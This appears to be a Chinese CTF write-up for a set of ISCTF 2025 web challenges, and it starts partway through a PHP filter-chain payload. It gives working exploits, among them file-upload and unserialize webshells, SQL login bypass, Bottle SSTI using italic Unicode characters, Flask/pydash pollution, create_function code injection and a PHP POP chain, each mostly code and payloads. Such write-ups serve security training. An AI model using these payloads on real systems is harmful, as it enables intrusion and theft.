onvert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|string.strip_tags&cmd=system('cat f*');
2025 b@by n0t1ce b0ard
在你以后的 CTF 历程中,你会遇到不少的大型 php 项目审计。
然而,大多数情况下,你不一定需要完全自己审计出一个原创的漏洞(0day),而是可以利用已有的漏洞进行攻击(nday)。
CVE 是这个世界上最大的漏洞数据库。复现 CVE 是每一个 web 手不可或缺的能力。接下来,尝试用好你的 google,去复现一个已经发布的 php 项目漏洞。
CVE 编号:CVE-2024-12233
题目都这样说了,直接去网上搜索就行,参考cve/RCE1.md at main · LamentXU123/cve
然后去跟着复现就行
查看附件中的registration.php,关键代码如下
mkdir ("images/$e " );move_uploaded_file ($_FILES ['img' ]['tmp_name' ],"images/$e /" .$_FILES ['img' ]['name' ]);
可以看到这里能够实现任意文件上传,并且也给出了路径,直接上传图片马
然后访问images/1/1.php传参即可
ISCTF{a17be674-c902-4a5d-9074-af6fb79bb549}
ezrce <?php highlight_file (__FILE__ );if (isset ($_GET ['code' ])){ $code = $_GET ['code' ]; if (preg_match ('/^[A-Za-z\(\)_;]+$/' , $code )) { eval ($code ); }else { die ('师傅,你想拿flag?' ); } }
只允许大小写字母,(),_,;。类似于无参rce
GET:code=eval(array_pop(next(get_defined_vars()))); POST:1=system("cat /f*");
ISCTF{d01d3d9d-1615-4648-8b0d-0e1aa5f81196}
来签个到吧 关键源码如下
<?php class FileLogger { public $logfile = "/tmp/notehub.log" ; public $content = "" ; public function __construct ($f =null ) { if ($f ) { $this ->logfile = $f ; } } public function write ($msg ) { $this ->content .= $msg . "\n" ; file_put_contents ($this ->logfile, $this ->content, FILE_APPEND); } public function __destruct ( ) { if ($this ->content) { file_put_contents ($this ->logfile, $this ->content, FILE_APPEND); } } } class ShitMountant { public $url ; public $logger ; public function __construct ($url ) { $this ->url = $url ; $this ->logger = new FileLogger (); } public function fetch ( ) { $c = file_get_contents ($this ->url); if ($this ->logger) { $this ->logger->write ("fetched ==> " . $this ->url); } return $c ; } public function __destruct ( ) { $this ->fetch (); } } ?>
<?php require_once "./config.php" ;require_once "./classes.php" ;if ($_SERVER ["REQUEST_METHOD" ] === "POST" ) { $s = $_POST ["shark" ] ?? '喵喵喵?' ; if (str_starts_with ($s , "blueshark:" )) { $ss = substr ($s , strlen ("blueshark:" )); $o = @unserialize ($ss ); $p = $db ->prepare ("INSERT INTO notes (content) VALUES (?)" ); $p ->execute ([$ss ]); echo "save sucess!" ; exit (0 ); } else { echo "喵喵喵?" ; exit (1 ); } $q = $db ->query ("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10" );$rows = $q ->fetchAll (PDO::FETCH_ASSOC );?>
在classes.php中能实现任意文件写入,所以直接尝试写马
<?php class FileLogger { public $logfile = "/var/www/html/shell.php" ; public $content = '<?= eval($_POST[123]);?>' ; } $a =new FileLogger ();echo "shark=blueshark:" .serialize ($a );
执行成功后访问shell.php传参获得flag
ISCTF{e58b7fdc-7625-40b1-8a31-7cf4412f269e}
难过的bottle 看这个名字感觉是bottle模块注入,源码如下
from bottle import route, run, template, post, request, static_file, errorimport osimport zipfileimport hashlibimport timeimport shutilUPLOAD_DIR = 'uploads' os.makedirs(UPLOAD_DIR, exist_ok=True ) MAX_FILE_SIZE = 1 * 1024 * 1024 BLACKLIST = ["b" ,"c" ,"d" ,"e" ,"h" ,"i" ,"j" ,"k" ,"m" ,"n" ,"o" ,"p" ,"q" ,"r" ,"s" ,"t" ,"u" ,"v" ,"w" ,"x" ,"y" ,"z" ,"%" ,";" ,"," ,"<" ,">" ,":" ,"?" ] def contains_blacklist (content ): """检查内容是否包含黑名单中的关键词(不区分大小写)""" content = content.lower() return any (black_word in content for black_word in BLACKLIST) def safe_extract_zip (zip_path, extract_dir ): """安全解压ZIP文件(防止路径遍历攻击)""" with zipfile.ZipFile(zip_path, 'r' ) as zf: for member in zf.infolist(): member_path = os.path.realpath(os.path.join(extract_dir, member.filename)) if not member_path.startswith(os.path.realpath(extract_dir)): raise ValueError("非法文件路径: 路径遍历攻击检测" ) zf.extract(member, extract_dir) @route('/' ) def index (): """首页""" return ''' <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ZIP文件查看器</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div> <div class="container"> <div class="row justify-content-center" id="index-page"> <div class="col-md-8 text-center"> <div class="card"> <div class="card-body p-5"> <div class="emoji-icon">📤</div> <h2 class="card-title">轻松查看ZIP文件内容</h2> <p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p> <div class="mt-4"> <a href="/upload" class="btn btn-primary btn-lg px-4 me-3"> 📁 上传ZIP文件 </a> <a href="#features" class="btn btn-outline-secondary btn-lg px-4"> ℹ️ 了解更多 </a> </div> </div> </div> </div> </div> <div class="row mt-5" id="features"> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">🛡️</div> <h4>安全检测</h4> <p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p> </div> </div> </div> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">📄</div> <h4>内容预览</h4> <p>直接在线查看ZIP文件中的文本内容,无需下载</p> </div> </div> </div> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">⚡</div> <h4>快速处理</h4> <p>高效处理小于1MB的ZIP文件,快速获取内容</p> </div> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html> ''' @route('/upload' ) def upload_page (): """上传页面""" return ''' <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>上传ZIP文件</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div> <div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header bg-primary text-white"> <h4 class="mb-0">📤 上传ZIP文件</h4> </div> <div class="card-body"> <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form"> <div class="mb-3"> <label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label> <input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required> <div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div> </div> <button type="submit" class="btn btn-primary w-100"> 📤 上传文件 </button> </form> </div> </div> <div class="text-center mt-4"> <a href="/" class="btn btn-outline-secondary"> ↩️ 返回首页 </a> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html> ''' @post('/upload' ) def upload (): """处理文件上传""" zip_file = request.files.get('file' ) if not zip_file or not zip_file.filename.endswith('.zip' ): return '请上传有效的ZIP文件' zip_file.file.seek(0 , 2 ) file_size = zip_file.file.tell() zip_file.file.seek(0 ) if file_size > MAX_FILE_SIZE: return f'文件大小超过限制({MAX_FILE_SIZE/1024 /1024 } MB)' timestamp = str (time.time()) unique_str = zip_file.filename + timestamp dir_hash = hashlib.md5(unique_str.encode()).hexdigest() extract_dir = os.path.join(UPLOAD_DIR, dir_hash) os.makedirs(extract_dir, exist_ok=True ) zip_path = os.path.join(extract_dir, 'uploaded.zip' ) zip_file.save(zip_path) try : safe_extract_zip(zip_path, extract_dir) except (zipfile.BadZipFile, ValueError) as e: shutil.rmtree(extract_dir) return f'处理ZIP文件时出错: {str (e)} ' files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip' ] return template(''' <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>上传成功</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div> <div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header bg-success text-white"> <h4 class="mb-0">✅ 上传成功!</h4> </div> <div class="card-body"> <div class="alert alert-success" role="alert"> ✅ 文件已成功上传并解压 </div> <h5>文件列表:</h5> <ul class="list-group mb-4"> % for file in files: <li class="list-group-item d-flex justify-content-between align-items-center"> <span>📄 {{file}}</span> <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary"> 查看 </a> </li> % end </ul> % if files: <div class="d-grid gap-2"> <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary"> 👀 查看第一个文件 </a> </div> % end </div> </div> <div class="text-center mt-4"> <a href="/upload" class="btn btn-outline-primary me-2"> ➕ 上传另一个文件 </a> <a href="/" class="btn btn-outline-secondary"> 🏠 返回首页 </a> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html> ''' , dir_hash=dir_hash, files=files)@route('/view/<dir_hash>/<filename:path>' ) def view_file (dir_hash, filename ): file_path = os.path.join(UPLOAD_DIR, dir_hash, filename) if not os.path.exists(file_path): return "文件不存在" if not os.path.isfile(file_path): return "请求的路径不是文件" real_path = os.path.realpath(file_path) if not real_path.startswith(os.path.realpath(UPLOAD_DIR)): return "非法访问尝试" try : with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() except : try : with open (file_path, 'r' , encoding='latin-1' ) as f: content = f.read() except : return "无法读取文件内容(可能是二进制文件)" if contains_blacklist(content): return "文件内容包含不允许的关键词" try : return template(content) except Exception as e: return f"渲染错误: {str (e)} " @route('/static/<filename:path>' ) def serve_static (filename ): """静态文件服务""" return static_file(filename, root='static' ) @error(404 ) def error404 (error ): return "讨厌啦不是说好只看看不摸的吗" @error(500 ) def error500 (error ): return "不要透进来啊啊啊啊" if __name__ == '__main__' : os.makedirs('static' , exist_ok=True ) run(host='0.0.0.0' , port=5000 , debug=False )
这里主要漏洞点是在/view/<dir_hash>/<filename:path>路由进行了渲染,所以直接打ssti就行,测试脚本如下
import requestsimport zipfileimport reexploit_content = r""" {{7*7}} """ with open ("1.txt" , "w" , encoding="utf-8" ) as f: f.write(exploit_content) with zipfile.ZipFile("1.zip" , "w" ) as zipf: zipf.write("1.txt" ) url = "http://challenge.bluesharkinfo.com:24604/upload" files = { "file" : ("a.zip" , open ("1.zip" , "rb" ), "application/zip" ) } resp = requests.post(url, files=files) print (resp.text)match = re.search(r"/view/[a-f0-9]+/[^ \n\"]+" , resp.text)if match : view_path = match .group(0 ) url1 = "http://challenge.bluesharkinfo.com:24604" + view_path print (url1) resp1 = requests.get(url1) print (resp1.text) else : print ("Failed to extract view path from response." )
可以看到成功渲染出了49,下一步来fuzz一下黑名单
BLACKLIST = ["b" ,"c" ,"d" ,"e" ,"h" ,"i" ,"j" ,"k" ,"m" ,"n" ,"o" ,"p" ,"q" ,"r" ,"s" ,"t" ,"u" ,"v" ,"w" ,"x" ,"y" ,"z" ,"%" ,";" ,"," ,"<" ,">" ,":" ,"?" ] for i in range (32 ,128 ): if chr (i).lower() not in BLACKLIST: print (chr (i),end=" " )
可以看到这里黑名单基本上过滤了所有字母,只留下了数字和部分符号可用,并且把%禁用了导致控制结构不能使用,这个时候就可以考虑斜体字绕过
参考聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园
Python|基于Bottle的SSTI注入 | TGlu’blog
可以通过这个来找到斜体字斜体字:斜体字生成器 - Exotic Text
那就修改脚本进行测试
import requestsimport zipfileimport reexploit_content = r""" {{𝓸𝓹𝓮𝓷('/flag').𝑟𝑒𝑎𝑑()}} """ with open ("1.txt" , "w" , encoding="utf-8" ) as f: f.write(exploit_content) with zipfile.ZipFile("1.zip" , "w" ) as zipf: zipf.write("1.txt" ) url = "http://challenge.bluesharkinfo.com:20431/upload" files = { "file" : ("a.zip" , open ("1.zip" , "rb" ), "application/zip" ) } resp = requests.post(url, files=files) print (resp.text)match = re.search(r"/view/[a-f0-9]+/[^ \n\"]+" , resp.text)if match : view_path = match .group(0 ) url1 = "http://challenge.bluesharkinfo.com:20431" + view_path print (url1) resp1 = requests.get(url1) print (resp1.text) else : print ("Failed to extract view path from response." )
ISCTF{c3a78057-018a-4848-9eed-f77028cd4376}
flag到底在哪 题目提示爬虫,那就进去访问robots.txt得到/admin/login.php
万能密码成功进入/admin/upload.php
POST:password=1' OR '1'='1&username=admin
然后正常传马,蚁剑连接
查看start.sh发现flag被写入/home/flag
#!/bin/sh if [ "$DASFLAG " ]; then INSERT_FLAG="$DASFLAG " elif [ "$FLAG " ]; then INSERT_FLAG="$FLAG " elif [ "$GZCTF_FLAG " ]; then INSERT_FLAG="$GZCTF_FLAG " else INSERT_FLAG="flag{TEST_Dynamic_FLAG}" fi echo $INSERT_FLAG > /home/flagchown www-data:www-data /home/flagexec apache2-foreground
ISCTF{7dbb5934-2809-48fd-997b-fa8dcad8502b}
flag?我就借走了 看到这个支持tar的解压功能,就想到上次哪个比赛通过软链接来实现任意文件读取的题,找到这篇文章学习一个有趣的任意文件读取-先知社区
先来尝试一下
ln -s /flag test tar -zcvf 1.tar test
然后直接上传生成的1.tar文件
点击test就能触发flag下载,得到flag
ISCTF{7d6d8d71-0f94-462e-8060-e6c734d1e60f}
Who am I 先随便尝试注册登录,然后进入/user_dashboard,然后就啥都没有了,尝试了ssti和sql也无果,那就返回登录页面再去看看,看到有个type参数为1,尝试更改为0
进入了一个不一样的路由,访问后发现有查看配置文件选项,获得main.py
flask import Flask,request,render_template,redirect,url_for import jsonimport pydashapp=Flask(__name__) database={} data_index=0 name='' @app.route('/' ,methods=['GET' ] ) def index (): return render_template('login.html' ) @app.route('/register' ,methods=['GET' ] ) def register (): return render_template('register.html' ) @app.route('/registerV2' ,methods=['POST' ] ) def registerV2 (): username=request.form['username' ] password=request.form['password' ] password2=request.form['password2' ] if password!=password2: return ''' <script> alert('前后密码不一致,请确认后重新输入。'); window.location.href='/register'; </script> ''' else : global data_index data_index+=1 database[data_index]=username database[username]=password return redirect(url_for('index' )) @app.route('/user_dashboard' ,methods=['GET' ] ) def user_dashboard (): return render_template('dashboard.html' ) @app.route('/272e1739b89da32e983970ece1a086bd' ,methods=['GET' ] ) def A272e1739b89da32e983970ece1a086bd (): return render_template('admin.html' ) @app.route('/operate' ,methods=['GET' ] ) def operate (): username=request.args.get('username' ) password=request.args.get('password' ) confirm_password=request.args.get('confirm_password' ) if username in globals () and "old" not in password: Username=globals ()[username] try : pydash.set_(Username,password,confirm_password) return "oprate success" except : return "oprate failed" else : return "oprate failed" @app.route('/user/name' ,methods=['POST' ] ) def name (): return {'username' :user} def logout (): return redirect(url_for('index' )) @app.route('/reset' ,methods=['POST' ] ) def reset (): old_password=request.form['old_password' ] new_password=request.form['new_password' ] if user in database and database[user] == old_password: database[user]=new_password return ''' <script> alert('密码修改成功,请重新登录。'); window.location.href='/'; </script> ''' else : return ''' <script> alert('密码修改失败,请确认旧密码是否正确。'); window.location.href='/user_dashboard'; </script> ''' @app.route('/impression' ,methods=['GET' ] ) def impression (): point=request.args.get('point' ) if len (point) > 5 : return "Invalid request" List =["{" ,"}" ,"." ,"%" ,"<" ,">" ,"_" ] for i in point: if i in List : return "Invalid request" return render_template(point) @app.route('/login' ,methods=['POST' ] ) def login (): username=request.form['username' ] password=request.form['password' ] type =request.form['type' ] if username in database and database[username] != password: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' elif username not in database: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' else : global name name=username if int (type )==1 : return redirect(url_for('user_dashboard' )) elif int (type )==0 : return redirect(url_for('A272e1739b89da32e983970ece1a086bd' )) if __name__=='__main__' : app.run(host='0.0.0.0' ,port=8080 ,debug=False )
可以看到这里面的/operate路由通过pydash.set_实现了全局变量修改,并且/impression还实现了渲染功能,并且render_template函数的渲染文件的路径可以通过全局变量修改
jinja_loader.searchpath 是一个属性,通常存在于 Jinja2 模板加载器中,用于指定模板文件的搜索路径。它告诉 Jinja2 在哪些目录中查找模板文件。
所以我们只要修改渲染文件路径为根目录,再获取flag就行了,不然只有5字符的ssti大概率行不通
/operate?username=app&password=jinja_loader.searchpath&confirm_password=/
ISCTF{dfabdb95-b254-4fd9-921f-5634f8f69cf5}
Bypass <?php class FLAG { private $a ; protected $b ; public function __construct ($a , $b ) { $this ->a = $a ; $this ->b = $b ; $this ->check ($a ,$b ); eval ($a .$b ); } public function __destruct ( ) { $a = (string )$this ->a; $b = (string )$this ->b; if ($this ->check ($a ,$b )){ $a ("" , $b ); } else { echo "Try again!" ; } } private function check ($a , $b ) { $blocked_a = ['eval' , 'dl' , 'ls' , 'p' , 'escape' , 'er' , 'str' , 'cat' , 'flag' , 'file' , 'ay' , 'or' , 'ftp' , 'dict' , '\.\.' , 'h' , 'w' , 'exec' , 's' , 'open' ]; $blocked_b = ['find' , 'filter' , 'c' , 'pa' , 'proc' , 'dir' , 'regexp' , 'n' , 'alter' , 'load' , 'grep' , 'o' , 'file' , 't' , 'w' , 'insert' , 'sort' , 'h' , 'sy' , '\.\.' , 'array' , 'sh' , 'touch' , 'e' , 'php' , 'f' ]; $pattern_a = '/' . implode ('|' , array_map ('preg_quote' , $blocked_a , ['/' ])) . '/i' ; $pattern_b = '/' . implode ('|' , array_map ('preg_quote' , $blocked_b , ['/' ])) . '/i' ; if (preg_match ($pattern_a , $a ) || preg_match ($pattern_b , $b )) { return false ; } return true ; } } if (isset ($_GET ['exp' ])) { $p = unserialize ($_GET ['exp' ]); var_dump ($p ); }else { highlight_file ("index.php" ); }
第一次遇到$a("", $b);这种形式的调用方式,这个时候学到了一个新的利用方式
create_function() create_function() 是 PHP 中的一个函数,用于创建一个匿名函数。
基础语法 string create_function(string $args, string $code)
args:是一个代表函数参数的字符串,参数之间用逗号分隔。
$code:是一个包含函数体代码的字符串。
举个例子
$myFunction = create_function('$a, $b', 'return $a + $b;'); echo $myFunction(2, 3); // 输出 5
创建了一个匿名函数,接受两个参数 $a 和 $b,然后返回这两个参数的和。
$double = create_function('$num', 'return $num * 2;'); echo $double(5); // 输出10
创建了一个匿名函数,接受参数$num,函数执行代码是返回这个参数的两倍值
拿刚刚第一个例子来说,我们通过create_function()创建出来的方法就是
function($a,$b){ return $a+$b; }
如果这里的参数可控,我们就能构造方法来实现命令执行,比如
function($a,$b){ ; } system("ls");
但是这里如果让$b=;}system("ls");,完整插入后后面会多一个},所以这里需要注释掉后面的大括号,类似于sql注入注释引号
function($a,$b){ ; } system("ls");/* }
这样就能实现命令执行了
但是这里的$b其实也过滤了很多,这里使用八进制绕过,最后的函数参考如下
function($a,$b){ ; } $v="system"; $v("ls");/* }
所以最后生成exp脚本如下
<?php class FLAG { private $a ; protected $b ; public function __construct ($a , $b ) { $this ->a = $a ; $this ->b = $b ; } } function str8 ($string ) { $c = "" ; for ($i = 0 ; $i < strlen ($string ); $i ++) { $c .= "\\" . decoct (ord ($string [$i ])); } return $c ; } $a ="create_function" ;$system =str8 ("system" );$cmd =str8 ("cat /f*" );$b =';}$v="' .$system .'";$v("' .$cmd .'");/*' ;$c =new FLAG ($a ,$b );echo "?exp=" .urlencode (serialize ($c ));
注意这里由于是私有属性,需要url编码
ISCTF{d7beac79-c49c-4de9-8884-11093426d469}
ezpop <?php error_reporting (0 );class begin { public $var1 ; public $var2 ; function __construct ($a ) { $this ->var1 = $a ; } function __destruct ( ) { echo $this ->var1; } public function __toString ( ) { $newFunc = $this ->var2; return $newFunc (); } } class starlord { public $var4 ; public $var5 ; public $arg1 ; public function __call ($arg1 , $arg2 ) { $function = $this ->var4; return $function (); } public function __get ($arg1 ) { $this ->var5->ll2 ('b2' ); } } class anna { public $var6 ; public $var7 ; public function __toString ( ) { $long = @$this ->var6->add (); return $long ; } public function __set ($arg1 , $arg2 ) { if ($this ->var7->tt2) { echo "yamada yamada" ; } } } class eenndd { public $command ; public function __get ($arg1 ) { if (preg_match ("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i" , $this ->command)){ echo "nonono" ; }else { eval ($this ->command); } } } class flaag { public $var10 ; public $var11 ="1145141919810" ; public function __invoke ( ) { if (md5 (md5 ($this ->var11)) == 666 ) { return $this ->var10->hey; } } } if (isset ($_POST ['ISCTF' ])) { unserialize ($_POST ["ISCTF" ]); }else { highlight_file (__FILE__ ); }
还是一个比较简单的链子,不知道为什么有两个类没用上,这里的flaag中经历两次MD5然后是弱比较,去爆破下两次MD5后前三位数为666的字符串即可
<?php for ($i =0 ;;$i ++){ if (substr (md5 (md5 ($i )),0 ,3 )=="666" ){ echo $i ; break ; } }
完整exp如下
<?php error_reporting (0 );class begin { public $var1 ; public $var2 ; } class starlord { public $var4 ; public $var5 ; public $arg1 ; } class anna { public $var6 ; public $var7 ; } class eenndd { public $command ; } class flaag { public $var10 ; public $var11 ="1145141919810" ; } $a =new begin ();$a ->var1=new begin ();$a ->var1->var2=new flaag ();$a ->var1->var2->var11="213" ;$a ->var1->var2->var10=new eenndd ();$a ->var1->var2->var10->command='readfile("/fl"."ag");' ;echo "ISCTF=" .serialize ($a );
ISCTF{4aac9fb8-eb74-48c9-ad23-ba1a0832bb8f}